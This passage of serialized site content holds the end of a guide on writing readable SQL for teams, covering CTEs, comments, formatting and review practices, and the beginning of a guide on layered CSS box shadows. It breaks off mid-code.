aliases\n",[1560,177728,177729],{"class":1562,"line":1717},[1560,177730,177731],{},"SELECT acc.balance, txn.amount\n",[1560,177733,177734],{"class":1562,"line":1747},[1560,177735,177736],{},"FROM accounts acc\n",[1560,177738,177739],{"class":1562,"line":2507},[1560,177740,177741],{},"JOIN transactions txn ON acc.id = txn.account_id\n",[1560,177743,177744],{"class":1562,"line":2524},[1560,177745,1702],{"emptyLinePlaceholder":363},[1560,177747,177748],{"class":1562,"line":2529},[1560,177749,177750],{},"-- Best: avoid aliases when table names are short\n",[1560,177752,177753],{"class":1562,"line":2534},[1560,177754,177755],{},"SELECT accounts.balance, transactions.amount\n",[1560,177757,177758],{"class":1562,"line":2542},[1560,177759,177760],{},"FROM accounts\n",[1560,177762,177763],{"class":1562,"line":2558},[1560,177764,177765],{},"JOIN transactions ON accounts.id = transactions.account_id\n",[16,177767,177768],{},"Use aliases only when they reduce repetition without sacrificing clarity.",[11,177770,177772],{"id":177771},"use-ctes-instead-of-nested-subqueries","Use CTEs Instead of Nested Subqueries",[16,177774,177775],{},"Common Table Expressions (CTEs) replace nested subqueries with named, readable blocks:",[135,177777,177779],{"className":23599,"code":177778,"language":23601,"meta":141,"style":141},"-- Hard to follow: nested subqueries\nSELECT *\nFROM (\n  SELECT user_id, COUNT(*) AS order_count\n  FROM (\n    SELECT * FROM orders WHERE status = 'completed'\n  ) completed\n  GROUP BY user_id\n) user_orders\nWHERE order_count > 5\n\n-- Clear: CTEs with descriptive names\nWITH completed_orders AS (\n  SELECT *\n  FROM orders\n  WHERE status = 'completed'\n),\nuser_order_counts AS (\n  SELECT user_id, COUNT(*) AS order_count\n  FROM completed_orders\n  GROUP BY user_id\n)\nSELECT *\nFROM user_order_counts\nWHERE order_count > 5\n",[143,177780,177781,177786,177791,177796,177801,177806,177811,177816,177821,177826,177831,177835,177840,177845,177850,177855,177860,177864,177869,177873,177878,177882,177886,177890,177895],{"__ignoreMap":141},[1560,177782,177783],{"class":1562,"line":1563},[1560,177784,177785],{},"-- Hard to follow: nested subqueries\n",[1560,177787,177788],{"class":1562,"line":337},[1560,177789,177790],{},"SELECT *\n",[1560,177792,177793],{"class":1562,"line":343},[1560,177794,177795],{},"FROM (\n",[1560,177797,177798],{"class":1562,"line":365},[1560,177799,177800],{},"  SELECT user_id, COUNT(*) AS order_count\n",[1560,177802,177803],{"class":1562,"line":889},[1560,177804,177805],{},"  FROM (\n",[1560,177807,177808],{"class":1562,"line":1710},[1560,177809,177810],{},"    SELECT * FROM orders WHERE status = 'completed'\n",[1560,177812,177813],{"class":1562,"line":1717},[1560,177814,177815],{},"  ) completed\n",[1560,177817,177818],{"class":1562,"line":1747},[1560,177819,177820],{},"  GROUP BY user_id\n",[1560,177822,177823],{"class":1562,"line":2507},[1560,177824,177825],{},") user_orders\n",[1560,177827,177828],{"class":1562,"line":2524},[1560,177829,177830],{},"WHERE order_count > 5\n",[1560,177832,177833],{"class":1562,"line":2529},[1560,177834,1702],{"emptyLinePlaceholder":363},[1560,177836,177837],{"class":1562,"line":2534},[1560,177838,177839],{},"-- Clear: CTEs with descriptive names\n",[1560,177841,177842],{"class":1562,"line":2542},[1560,177843,177844],{},"WITH completed_orders AS (\n",[1560,177846,177847],{"class":1562,"line":2558},[1560,177848,177849],{},"  SELECT *\n",[1560,177851,177852],{"class":1562,"line":2570},[1560,177853,177854],{},"  FROM orders\n",[1560,177856,177857],{"class":1562,"line":6638},[1560,177858,177859],{},"  WHERE status = 'completed'\n",[1560,177861,177862],{"class":1562,"line":11615},[1560,177863,19216],{},[1560,177865,177866],{"class":1562,"line":11621},[1560,177867,177868],{},"user_order_counts AS (\n",[1560,177870,177871],{"class":1562,"line":11633},[1560,177872,177800],{},[1560,177874,177875],{"class":1562,"line":11638},[1560,177876,177877],{},"  FROM completed_orders\n",[1560,177879,177880],{"class":1562,"line":11672},[1560,177881,177820],{},[1560,177883,177884],{"class":1562,"line":19435},[1560,177885,8252],{},[1560,177887,177888],{"class":1562,"line":19442},[1560,177889,177790],{},[1560,177891,177892],{"class":1562,"line":19475},[1560,177893,177894],{},"FROM user_order_counts\n",[1560,177896,177897],{"class":1562,"line":19508},[1560,177898,177830],{},[16,177900,177901],{},"CTEs let you read the query top-to-bottom, which matches how people naturally process information.",[11,177903,177905],{"id":177904},"comment-what-not-how","Comment What, Not How",[16,177907,177908],{},"Comments should explain business logic, not SQL syntax:",[135,177910,177912],{"className":23599,"code":177911,"language":23601,"meta":141,"style":141},"-- Bad: restates the code\n-- Select users where created_at is greater than 2025-01-01\nSELECT * FROM users WHERE created_at > '2025-01-01'\n\n-- Good: explains the business reason\n-- Users who signed up after the pricing change\nSELECT * FROM users WHERE created_at > '2025-01-01'\n",[143,177913,177914,177919,177924,177929,177933,177938,177943],{"__ignoreMap":141},[1560,177915,177916],{"class":1562,"line":1563},[1560,177917,177918],{},"-- Bad: restates the code\n",[1560,177920,177921],{"class":1562,"line":337},[1560,177922,177923],{},"-- Select users where created_at is greater than 2025-01-01\n",[1560,177925,177926],{"class":1562,"line":343},[1560,177927,177928],{},"SELECT * FROM users WHERE created_at > '2025-01-01'\n",[1560,177930,177931],{"class":1562,"line":365},[1560,177932,1702],{"emptyLinePlaceholder":363},[1560,177934,177935],{"class":1562,"line":889},[1560,177936,177937],{},"-- Good: explains the business reason\n",[1560,177939,177940],{"class":1562,"line":1710},[1560,177941,177942],{},"-- Users who signed up after the pricing change\n",[1560,177944,177945],{"class":1562,"line":1717},[1560,177946,177928],{},[16,177948,177949,177950,177952,177953,177955],{},"If a reader needs to understand ",[7310,177951,137740],{}," a filter exists, the comment should answer that. The ",[7310,177954,78029],{}," is already expressed by the code.",[11,177957,177959],{"id":177958},"formatting-for-review","Formatting for Review",[33,177961,177963],{"id":177962},"one-condition-per-line","One Condition Per Line",[135,177965,177967],{"className":23599,"code":177966,"language":23601,"meta":141,"style":141},"-- Hard to scan\nWHERE status = 'active' AND region = 'US' AND signup_date > '2025-01-01'\n\n-- Easy to scan\nWHERE status = 'active'\n  AND region = 'US'\n  AND signup_date > '2025-01-01'\n",[143,177968,177969,177974,177979,177983,177988,177993,177998],{"__ignoreMap":141},[1560,177970,177971],{"class":1562,"line":1563},[1560,177972,177973],{},"-- Hard to scan\n",[1560,177975,177976],{"class":1562,"line":337},[1560,177977,177978],{},"WHERE status = 'active' AND region = 'US' AND signup_date > '2025-01-01'\n",[1560,177980,177981],{"class":1562,"line":343},[1560,177982,1702],{"emptyLinePlaceholder":363},[1560,177984,177985],{"class":1562,"line":365},[1560,177986,177987],{},"-- Easy to scan\n",[1560,177989,177990],{"class":1562,"line":889},[1560,177991,177992],{},"WHERE status = 'active'\n",[1560,177994,177995],{"class":1562,"line":1710},[1560,177996,177997],{},"  AND region = 'US'\n",[1560,177999,178000],{"class":1562,"line":1717},[1560,178001,178002],{},"  AND signup_date > '2025-01-01'\n",[16,178004,178005],{},"Each condition on its own line makes it trivial to see which filters are active and to comment out individual conditions during debugging.",[33,178007,178009],{"id":178008},"consistent-indentation-for-case-statements","Consistent Indentation for CASE Statements",[135,178011,178013],{"className":23599,"code":178012,"language":23601,"meta":141,"style":141},"CASE\n  WHEN plan = 'enterprise' THEN 'high'\n  WHEN plan = 'professional' THEN 'medium'\n  ELSE 'low'\nEND AS priority\n",[143,178014,178015,178020,178025,178030,178035],{"__ignoreMap":141},[1560,178016,178017],{"class":1562,"line":1563},[1560,178018,178019],{},"CASE\n",[1560,178021,178022],{"class":1562,"line":337},[1560,178023,178024],{},"  WHEN plan = 'enterprise' THEN 'high'\n",[1560,178026,178027],{"class":1562,"line":343},[1560,178028,178029],{},"  WHEN plan = 'professional' THEN 'medium'\n",[1560,178031,178032],{"class":1562,"line":365},[1560,178033,178034],{},"  ELSE 'low'\n",[1560,178036,178037],{"class":1562,"line":889},[1560,178038,178039],{},"END AS priority\n",[16,178041,178042,178043,1856,178046,178049],{},"Align ",[143,178044,178045],{},"WHEN",[143,178047,178048],{},"THEN"," for quick scanning of conditions and results.",[11,178051,178053],{"id":178052},"sql-review-workflow","SQL Review Workflow",[16,178055,178056],{},"Readable SQL enables effective code review. Build these practices into your team:",[77,178058,178059,178065,178071,178077],{},[44,178060,178061,178064],{},[47,178062,178063],{},"Require formatted SQL",": Auto-format before review so formatting comments do not distract from logic",[44,178066,178067,178070],{},[47,178068,178069],{},"Review in a diff tool",": Contextual changes are easier to evaluate than full queries",[44,178072,178073,178076],{},[47,178074,178075],{},"Ask \"can a new hire understand this in 5 minutes?\"",": If not, add a CTE, a comment, or a better alias",[44,178078,178079,178082],{},[47,178080,178081],{},"Limit query length",": If a query exceeds 100 lines, consider splitting logic into temporary tables or views",[11,178084,178086],{"id":178085},"anti-patterns-to-avoid","Anti-Patterns to Avoid",[193,178088,178089,178100],{},[196,178090,178091],{},[199,178092,178093,178095,178098],{},[202,178094,27725],{},[202,178096,178097],{},"Why It Hurts",[202,178099,3690],{},[211,178101,178102,178115,178126,178140,178156],{},[199,178103,178104,178109,178112],{},[216,178105,178106],{},[143,178107,178108],{},"SELECT *",[216,178110,178111],{},"Unclear which columns are needed, breaks when schema changes",[216,178113,178114],{},"List explicit columns",[199,178116,178117,178120,178123],{},[216,178118,178119],{},"Deeply nested subqueries",[216,178121,178122],{},"Requires reading inside-out",[216,178124,178125],{},"Use CTEs",[199,178127,178128,178131,178137],{},[216,178129,178130],{},"Magic numbers",[216,178132,178133,178136],{},[143,178134,178135],{},"WHERE type = 3"," means nothing",[216,178138,178139],{},"Use comments or a lookup table",[199,178141,178142,178145,178153],{},[216,178143,178144],{},"Over-abbreviation",[216,178146,178147,55616,178150],{},[143,178148,178149],{},"ct",[143,178151,178152],{},"customer_type",[216,178154,178155],{},"Use full names or widely understood abbreviations",[199,178157,178158,178164,178167],{},[216,178159,178160,178161,178163],{},"No ",[143,178162,108311],{}," in production queries",[216,178165,178166],{},"Results are unpredictable",[216,178168,178169],{},"Always specify sort order",[11,178171,1355],{"id":1354},[41,178173,178174,178177,178180,178183,178186,178189],{},[44,178175,178176],{},"Teams read SQL far more often than they write it — optimize for the reader",[44,178178,178179],{},"Consistent naming and meaningful aliases are the foundation of readable SQL",[44,178181,178182],{},"CTEs replace nested subqueries with top-to-bottom reading flow",[44,178184,178185],{},"Comment business reasons, not syntax",[44,178187,178188],{},"One condition per line and aligned CASE statements make reviews faster",[44,178190,178191],{},"Auto-format before review to keep discussions focused on logic, not style",[11,178193,286],{"id":285},[16,178195,178196,178197,178199],{},"Turn messy SQL into clean, readable queries with our ",[98,178198,108693],{"href":108692},". Paste any query and instantly get consistently formatted output — ready for team review.",[11,178201,321],{"id":320},[41,178203,178204,178211],{},[44,178205,178206,178210],{},[98,178207,178209],{"href":178208},"\u002Fguides\u002Fsql-formatting-guide","SQL Formatting Guide"," — core syntax formatting rules",[44,178212,178213,178217],{},[98,178214,178216],{"href":178215},"\u002Fguides\u002Fsql-best-practices","SQL Best Practices"," — query performance and maintainability",[2043,178219,5093],{},{"title":141,"searchDepth":337,"depth":337,"links":178221},[178222,178223,178227,178228,178229,178233,178234,178235,178236,178237],{"id":177594,"depth":337,"text":177595},{"id":177618,"depth":337,"text":177619,"children":178224},[178225,178226],{"id":177622,"depth":343,"text":177623},{"id":177688,"depth":343,"text":177689},{"id":177771,"depth":337,"text":177772},{"id":177904,"depth":337,"text":177905},{"id":177958,"depth":337,"text":177959,"children":178230},[178231,178232],{"id":177962,"depth":343,"text":177963},{"id":178008,"depth":343,"text":178009},{"id":178052,"depth":337,"text":178053},{"id":178085,"depth":337,"text":178086},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Learn techniques for writing SQL that teammates can read, review, and modify without constant clarification. Covers naming, comments, CTEs, and review workflows.",{"keywords":178240,"immutable":363},[178241,178242],"sql-formatter","readable-sql-team-collaboration","\u002Fguides\u002Freadable-sql-team-collaboration",{"title":177589,"description":178238},"guides\u002Freadable-sql-team-collaboration","sRg-OCC3f3AfqvVjgxwKnE9uygF_i6N5rce1HQkOCng",{"id":178248,"title":71771,"body":178249,"date":2070,"description":179785,"extension":361,"meta":179786,"navigation":363,"path":71770,"readingTime":1710,"seo":179787,"stem":179788,"__hash__":179789},"guides\u002Fguides\u002Frealistic-css-shadows.md",{"type":8,"value":178250,"toc":179767},[178251,178255,178260,178267,178271,178274,178488,178491,178495,178501,178505,178508,178590,178594,178954,178958,178961,179092,179095,179097,179100,179104,179107,179226,179229,179233,179236,179295,179298,179302,179305,179514,179517,179521,179524,179731,179737,179739,179754,179756,179759,179765],[11,178252,178254],{"id":178253},"why-most-css-shadows-look-fake","Why Most CSS Shadows Look Fake",[16,178256,26078,178257,178259],{},[143,178258,1880],{}," on an element produces a flat, uniform shadow — nothing like what happens in the real world. Real shadows have multiple layers: a tight, dark shadow near the object and a softer, lighter shadow that spreads outward. They also respond to the distance between the object and the surface beneath it.",[16,178261,178262,178263,178266],{},"The gap between a ",[143,178264,178265],{},"box-shadow: 0 4px 6px rgba(0,0,0,0.1)"," and a realistic shadow is the gap between a clip-art drop shadow and a photograph. The fix is surprisingly simple: use multiple shadow layers.",[11,178268,178270],{"id":178269},"the-layered-shadow-technique","The Layered Shadow Technique",[16,178272,178273],{},"Instead of one shadow, stack several with increasing offset and blur:",[135,178275,178277],{"className":1554,"code":178276,"language":1556,"meta":141,"style":141},".realistic-shadow {\n  box-shadow:\n    0 1px 2px rgba(0, 0, 0, 0.07),\n    0 2px 4px rgba(0, 0, 0, 0.07),\n    0 4px 8px rgba(0, 0, 0, 0.07),\n    0 8px 16px rgba(0, 0, 0, 0.07),\n    0 16px 32px rgba(0, 0, 0, 0.07),\n    0 32px 64px rgba(0, 0, 0, 0.07);\n}\n",[143,178278,178279,178286,178292,178324,178356,178388,178420,178452,178484],{"__ignoreMap":141},[1560,178280,178281,178284],{"class":1562,"line":1563},[1560,178282,178283],{"class":1566},".realistic-shadow",[1560,178285,1571],{"class":1570},[1560,178287,178288,178290],{"class":1562,"line":337},[1560,178289,18679],{"class":1576},[1560,178291,19182],{"class":1570},[1560,178293,178294,178296,178298,178300,178302,178304,178306,178308,178310,178312,178314,178316,178318,178320,178322],{"class":1562,"line":343},[1560,178295,19187],{"class":1576},[1560,178297,18868],{"class":1576},[1560,178299,1670],{"class":1669},[1560,178301,9426],{"class":1576},[1560,178303,1670],{"class":1669},[1560,178305,18694],{"class":1576},[1560,178307,1688],{"class":1570},[1560,178309,5285],{"class":1576},[1560,178311,1459],{"class":1570},[1560,178313,5285],{"class":1576},[1560,178315,1459],{"class":1570},[1560,178317,5285],{"class":1576},[1560,178319,1459],{"class":1570},[1560,178321,140508],{"class":1576},[1560,178323,19216],{"class":1570},[1560,178325,178326,178328,178330,178332,178334,178336,178338,178340,178342,178344,178346,178348,178350,178352,178354],{"class":1562,"line":365},[1560,178327,19187],{"class":1576},[1560,178329,9426],{"class":1576},[1560,178331,1670],{"class":1669},[1560,178333,13574],{"class":1576},[1560,178335,1670],{"class":1669},[1560,178337,18694],{"class":1576},[1560,178339,1688],{"class":1570},[1560,178341,5285],{"class":1576},[1560,178343,1459],{"class":1570},[1560,178345,5285],{"class":1576},[1560,178347,1459],{"class":1570},[1560,178349,5285],{"class":1576},[1560,178351,1459],{"class":1570},[1560,178353,140508],{"class":1576},[1560,178355,19216],{"class":1570},[1560,178357,178358,178360,178362,178364,178366,178368,178370,178372,178374,178376,178378,178380,178382,178384,178386],{"class":1562,"line":889},[1560,178359,19187],{"class":1576},[1560,178361,13574],{"class":1576},[1560,178363,1670],{"class":1669},[1560,178365,13490],{"class":1576},[1560,178367,1670],{"class":1669},[1560,178369,18694],{"class":1576},[1560,178371,1688],{"class":1570},[1560,178373,5285],{"class":1576},[1560,178375,1459],{"class":1570},[1560,178377,5285],{"class":1576},[1560,178379,1459],{"class":1570},[1560,178381,5285],{"class":1576},[1560,178383,1459],{"class":1570},[1560,178385,140508],{"class":1576},[1560,178387,19216],{"class":1570},[1560,178389,178390,178392,178394,178396,178398,178400,178402,178404,178406,178408,178410,178412,178414,178416,178418],{"class":1562,"line":1710},[1560,178391,19187],{"class":1576},[1560,178393,13490],{"class":1576},[1560,178395,1670],{"class":1669},[1560,178397,19024],{"class":1576},[1560,178399,1670],{"class":1669},[1560,178401,18694],{"class":1576},[1560,178403,1688],{"class":1570},[1560,178405,5285],{"class":1576},[1560,178407,1459],{"class":1570},[1560,178409,5285],{"class":1576},[1560,178411,1459],{"class":1570},[1560,178413,5285],{"class":1576},[1560,178415,1459],{"class":1570},[1560,178417,140508],{"class":1576},[1560,178419,19216],{"class":1570},[1560,178421,178422,178424,178426,178428,178430,178432,178434,178436,178438,178440,178442,178444,178446,178448,178450],{"class":1562,"line":1717},[1560,178423,19187],{"class":1576},[1560,178425,19024],{"class":1576},[1560,178427,1670],{"class":1669},[1560,178429,42731],{"class":1576},[1560,178431,1670],{"class":1669},[1560,178433,18694],{"class":1576},[1560,178435,1688],{"class":1570},[1560,178437,5285],{"class":1576},[1560,178439,1459],{"class":1570},[1560,178441,5285],{"class":1576},[1560,178443,1459],{"class":1570},[1560,178445,5285],{"class":1576},[1560,178447,1459],{"class":1570},[1560,178449,140508],{"class":1576},[1560,178451,19216],{"class":1570},[1560,178453,178454,178456,178458,178460,178462,178464,178466,178468,178470,178472,178474,178476,178478,178480,178482],{"class":1562,"line":1747},[1560,178455,19187],{"class":1576},[1560,178457,42731],{"class":1576},[1560,178459,1670],{"class":1669},[1560,178461,48104],{"class":1576},[1560,178463,1670],{"class":1669},[1560,178465,18694],{"class":1576},[1560,178467,1688],{"class":1570},[1560,178469,5285],{"class":1576},[1560,178471,1459],{"class":1570},[1560,178473,5285],{"class":1576},[1560,178475,1459],{"class":1570},[1560,178477,5285],{"class":1576},[1560,178479,1459],{"class":1570},[1560,178481,140508],{"class":1576},[1560,178483,1744],{"class":1570},[1560,178485,178486],{"class":1562,"line":2507},[1560,178487,1585],{"class":1570},[16,178489,178490],{},"Each layer doubles the offset and blur of the previous one while keeping the opacity constant. The result: a shadow that's sharp near the edge and fades gradually outward — exactly how real shadows behave.",[33,178492,178494],{"id":178493},"why-this-works","Why This Works",[16,178496,178497,178498,178500],{},"In reality, a shadow is sharpest where the object almost touches the surface and softest where it's farthest away. Multiple layers simulate this graduated falloff. A single ",[143,178499,1880],{}," can't produce this effect because it has only one falloff curve.",[11,178502,178504],{"id":178503},"shadow-depth-scale","Shadow Depth Scale",[16,178506,178507],{},"Use elevation levels to keep shadows consistent across your design:",[193,178509,178510,178520],{},[196,178511,178512],{},[199,178513,178514,178516,178518],{},[202,178515,3291],{},[202,178517,103405],{},[202,178519,4034],{},[211,178521,178522,178531,178543,178555,178567,178578],{},[199,178523,178524,178526,178528],{},[216,178525,5285],{},[216,178527,24609],{},[216,178529,178530],{},"Flat elements, dividers",[199,178532,178533,178535,178540],{},[216,178534,3585],{},[216,178536,178537],{},[143,178538,178539],{},"0 1px 2px rgba(0,0,0,0.05), 0 1px 3px rgba(0,0,0,0.1)",[216,178541,178542],{},"Cards at rest",[199,178544,178545,178547,178552],{},[216,178546,10099],{},[216,178548,178549],{},[143,178550,178551],{},"0 3px 6px rgba(0,0,0,0.06), 0 2px 4px rgba(0,0,0,0.08)",[216,178553,178554],{},"Raised cards",[199,178556,178557,178559,178564],{},[216,178558,17821],{},[216,178560,178561],{},[143,178562,178563],{},"0 10px 20px rgba(0,0,0,0.06), 0 3px 6px rgba(0,0,0,0.08)",[216,178565,178566],{},"Dropdowns",[199,178568,178569,178571,178576],{},[216,178570,12546],{},[216,178572,178573],{},[143,178574,178575],{},"0 20px 40px rgba(0,0,0,0.08), 0 5px 10px rgba(0,0,0,0.06)",[216,178577,18438],{},[199,178579,178580,178582,178587],{},[216,178581,13431],{},[216,178583,178584],{},[143,178585,178586],{},"0 30px 60px rgba(0,0,0,0.1), 0 10px 20px rgba(0,0,0,0.08)",[216,178588,178589],{},"Overlays",[33,178591,178593],{"id":178592},"tailwind-utility-classes","Tailwind Utility Classes",[135,178595,178597],{"className":1554,"code":178596,"language":1556,"meta":141,"style":141},".shadow-1 { box-shadow: 0 1px 2px rgba(0,0,0,0.05), 0 1px 3px rgba(0,0,0,0.1); }\n.shadow-2 { box-shadow: 0 3px 6px rgba(0,0,0,0.06), 0 2px 4px rgba(0,0,0,0.08); }\n.shadow-3 { box-shadow: 0 10px 20px rgba(0,0,0,0.06), 0 3px 6px rgba(0,0,0,0.08); }\n.shadow-4 { box-shadow: 0 20px 40px rgba(0,0,0,0.08), 0 5px 10px rgba(0,0,0,0.06); }\n.shadow-5 { box-shadow: 0 30px 60px rgba(0,0,0,0.1), 0 10px 20px rgba(0,0,0,0.08); }\n",[143,178598,178599,178670,178741,178812,178883],{"__ignoreMap":141},[1560,178600,178601,178604,178606,178608,178610,178612,178614,178616,178618,178620,178622,178624,178626,178628,178630,178632,178634,178636,178638,178640,178642,178644,178646,178648,178650,178652,178654,178656,178658,178660,178662,178664,178666,178668],{"class":1562,"line":1563},[1560,178602,178603],{"class":1566},".shadow-1",[1560,178605,1658],{"class":1570},[1560,178607,1880],{"class":1576},[1560,178609,1663],{"class":1570},[1560,178611,5285],{"class":1576},[1560,178613,18868],{"class":1576},[1560,178615,1670],{"class":1669},[1560,178617,9426],{"class":1576},[1560,178619,1670],{"class":1669},[1560,178621,18694],{"class":1576},[1560,178623,1688],{"class":1570},[1560,178625,5285],{"class":1576},[1560,178627,6858],{"class":1570},[1560,178629,5285],{"class":1576},[1560,178631,6858],{"class":1570},[1560,178633,5285],{"class":1576},[1560,178635,6858],{"class":1570},[1560,178637,19138],{"class":1576},[1560,178639,18895],{"class":1570},[1560,178641,5285],{"class":1576},[1560,178643,18868],{"class":1576},[1560,178645,1670],{"class":1669},[1560,178647,48433],{"class":1576},[1560,178649,1670],{"class":1669},[1560,178651,18694],{"class":1576},[1560,178653,1688],{"class":1570},[1560,178655,5285],{"class":1576},[1560,178657,6858],{"class":1570},[1560,178659,5285],{"class":1576},[1560,178661,6858],{"class":1570},[1560,178663,5285],{"class":1576},[1560,178665,6858],{"class":1570},[1560,178667,46961],{"class":1576},[1560,178669,1697],{"class":1570},[1560,178671,178672,178675,178677,178679,178681,178683,178685,178687,178689,178691,178693,178695,178697,178699,178701,178703,178705,178707,178709,178711,178713,178715,178717,178719,178721,178723,178725,178727,178729,178731,178733,178735,178737,178739],{"class":1562,"line":337},[1560,178673,178674],{"class":1566},".shadow-2",[1560,178676,1658],{"class":1570},[1560,178678,1880],{"class":1576},[1560,178680,1663],{"class":1570},[1560,178682,5285],{"class":1576},[1560,178684,48433],{"class":1576},[1560,178686,1670],{"class":1669},[1560,178688,43195],{"class":1576},[1560,178690,1670],{"class":1669},[1560,178692,18694],{"class":1576},[1560,178694,1688],{"class":1570},[1560,178696,5285],{"class":1576},[1560,178698,6858],{"class":1570},[1560,178700,5285],{"class":1576},[1560,178702,6858],{"class":1570},[1560,178704,5285],{"class":1576},[1560,178706,6858],{"class":1570},[1560,178708,18924],{"class":1576},[1560,178710,18895],{"class":1570},[1560,178712,5285],{"class":1576},[1560,178714,9426],{"class":1576},[1560,178716,1670],{"class":1669},[1560,178718,13574],{"class":1576},[1560,178720,1670],{"class":1669},[1560,178722,18694],{"class":1576},[1560,178724,1688],{"class":1570},[1560,178726,5285],{"class":1576},[1560,178728,6858],{"class":1570},[1560,178730,5285],{"class":1576},[1560,178732,6858],{"class":1570},[1560,178734,5285],{"class":1576},[1560,178736,6858],{"class":1570},[1560,178738,18711],{"class":1576},[1560,178740,1697],{"class":1570},[1560,178742,178743,178746,178748,178750,178752,178754,178756,178758,178760,178762,178764,178766,178768,178770,178772,178774,178776,178778,178780,178782,178784,178786,178788,178790,178792,178794,178796,178798,178800,178802,178804,178806,178808,178810],{"class":1562,"line":343},[1560,178744,178745],{"class":1566},".shadow-3",[1560,178747,1658],{"class":1570},[1560,178749,1880],{"class":1576},[1560,178751,1663],{"class":1570},[1560,178753,5285],{"class":1576},[1560,178755,43241],{"class":1576},[1560,178757,1670],{"class":1669},[1560,178759,45999],{"class":1576},[1560,178761,1670],{"class":1669},[1560,178763,18694],{"class":1576},[1560,178765,1688],{"class":1570},[1560,178767,5285],{"class":1576},[1560,178769,6858],{"class":1570},[1560,178771,5285],{"class":1576},[1560,178773,6858],{"class":1570},[1560,178775,5285],{"class":1576},[1560,178777,6858],{"class":1570},[1560,178779,18924],{"class":1576},[1560,178781,18895],{"class":1570},[1560,178783,5285],{"class":1576},[1560,178785,48433],{"class":1576},[1560,178787,1670],{"class":1669},[1560,178789,43195],{"class":1576},[1560,178791,1670],{"class":1669},[1560,178793,18694],{"class":1576},[1560,178795,1688],{"class":1570},[1560,178797,5285],{"class":1576},[1560,178799,6858],{"class":1570},[1560,178801,5285],{"class":1576},[1560,178803,6858],{"class":1570},[1560,178805,5285],{"class":1576},[1560,178807,6858],{"class":1570},[1560,178809,18711],{"class":1576},[1560,178811,1697],{"class":1570},[1560,178813,178814,178817,178819,178821,178823,178825,178827,178829,178831,178833,178835,178837,178839,178841,178843,178845,178847,178849,178851,178853,178855,178857,178859,178861,178863,178865,178867,178869,178871,178873,178875,178877,178879,178881],{"class":1562,"line":365},[1560,178815,178816],{"class":1566},".shadow-4",[1560,178818,1658],{"class":1570},[1560,178820,1880],{"class":1576},[1560,178822,1663],{"class":1570},[1560,178824,5285],{"class":1576},[1560,178826,45999],{"class":1576},[1560,178828,1670],{"class":1669},[1560,178830,18343],{"class":1576},[1560,178832,1670],{"class":1669},[1560,178834,18694],{"class":1576},[1560,178836,1688],{"class":1570},[1560,178838,5285],{"class":1576},[1560,178840,6858],{"class":1570},[1560,178842,5285],{"class":1576},[1560,178844,6858],{"class":1570},[1560,178846,5285],{"class":1576},[1560,178848,6858],{"class":1570},[1560,178850,18711],{"class":1576},[1560,178852,18895],{"class":1570},[1560,178854,5285],{"class":1576},[1560,178856,28229],{"class":1576},[1560,178858,1670],{"class":1669},[1560,178860,43241],{"class":1576},[1560,178862,1670],{"class":1669},[1560,178864,18694],{"class":1576},[1560,178866,1688],{"class":1570},[1560,178868,5285],{"class":1576},[1560,178870,6858],{"class":1570},[1560,178872,5285],{"class":1576},[1560,178874,6858],{"class":1570},[1560,178876,5285],{"class":1576},[1560,178878,6858],{"class":1570},[1560,178880,18924],{"class":1576},[1560,178882,1697],{"class":1570},[1560,178884,178885,178888,178890,178892,178894,178896,178898,178900,178902,178904,178906,178908,178910,178912,178914,178916,178918,178920,178922,178924,178926,178928,178930,178932,178934,178936,178938,178940,178942,178944,178946,178948,178950,178952],{"class":1562,"line":889},[1560,178886,178887],{"class":1566},".shadow-5",[1560,178889,1658],{"class":1570},[1560,178891,1880],{"class":1576},[1560,178893,1663],{"class":1570},[1560,178895,5285],{"class":1576},[1560,178897,35504],{"class":1576},[1560,178899,1670],{"class":1669},[1560,178901,18338],{"class":1576},[1560,178903,1670],{"class":1669},[1560,178905,18694],{"class":1576},[1560,178907,1688],{"class":1570},[1560,178909,5285],{"class":1576},[1560,178911,6858],{"class":1570},[1560,178913,5285],{"class":1576},[1560,178915,6858],{"class":1570},[1560,178917,5285],{"class":1576},[1560,178919,6858],{"class":1570},[1560,178921,46961],{"class":1576},[1560,178923,18895],{"class":1570},[1560,178925,5285],{"class":1576},[1560,178927,43241],{"class":1576},[1560,178929,1670],{"class":1669},[1560,178931,45999],{"class":1576},[1560,178933,1670],{"class":1669},[1560,178935,18694],{"class":1576},[1560,178937,1688],{"class":1570},[1560,178939,5285],{"class":1576},[1560,178941,6858],{"class":1570},[1560,178943,5285],{"class":1576},[1560,178945,6858],{"class":1570},[1560,178947,5285],{"class":1576},[1560,178949,6858],{"class":1570},[1560,178951,18711],{"class":1576},[1560,178953,1697],{"class":1570},[11,178955,178957],{"id":178956},"directional-light-shadows","Directional Light Shadows",[16,178959,178960],{},"Set a consistent light source direction for all shadows in your design. The most common convention is top-left lighting (matching natural light from a window):",[135,178962,178964],{"className":1554,"code":178963,"language":1556,"meta":141,"style":141},"\u002F* Top-left light direction *\u002F\n.top-left-shadow {\n  box-shadow:\n    -2px 2px 4px rgba(0, 0, 0, 0.05),\n    -4px 4px 8px rgba(0, 0, 0, 0.05),\n    -8px 8px 16px rgba(0, 0, 0, 0.05);\n}\n",[143,178965,178966,178971,178978,178984,179019,179054,179088],{"__ignoreMap":141},[1560,178967,178968],{"class":1562,"line":1563},[1560,178969,178970],{"class":1649},"\u002F* Top-left light direction *\u002F\n",[1560,178972,178973,178976],{"class":1562,"line":337},[1560,178974,178975],{"class":1566},".top-left-shadow",[1560,178977,1571],{"class":1570},[1560,178979,178980,178982],{"class":1562,"line":343},[1560,178981,18679],{"class":1576},[1560,178983,19182],{"class":1570},[1560,178985,178986,178989,178991,178993,178995,178997,178999,179001,179003,179005,179007,179009,179011,179013,179015,179017],{"class":1562,"line":365},[1560,178987,178988],{"class":1576},"    -2",[1560,178990,1670],{"class":1669},[1560,178992,9426],{"class":1576},[1560,178994,1670],{"class":1669},[1560,178996,13574],{"class":1576},[1560,178998,1670],{"class":1669},[1560,179000,18694],{"class":1576},[1560,179002,1688],{"class":1570},[1560,179004,5285],{"class":1576},[1560,179006,1459],{"class":1570},[1560,179008,5285],{"class":1576},[1560,179010,1459],{"class":1570},[1560,179012,5285],{"class":1576},[1560,179014,1459],{"class":1570},[1560,179016,19138],{"class":1576},[1560,179018,19216],{"class":1570},[1560,179020,179021,179024,179026,179028,179030,179032,179034,179036,179038,179040,179042,179044,179046,179048,179050,179052],{"class":1562,"line":889},[1560,179022,179023],{"class":1576},"    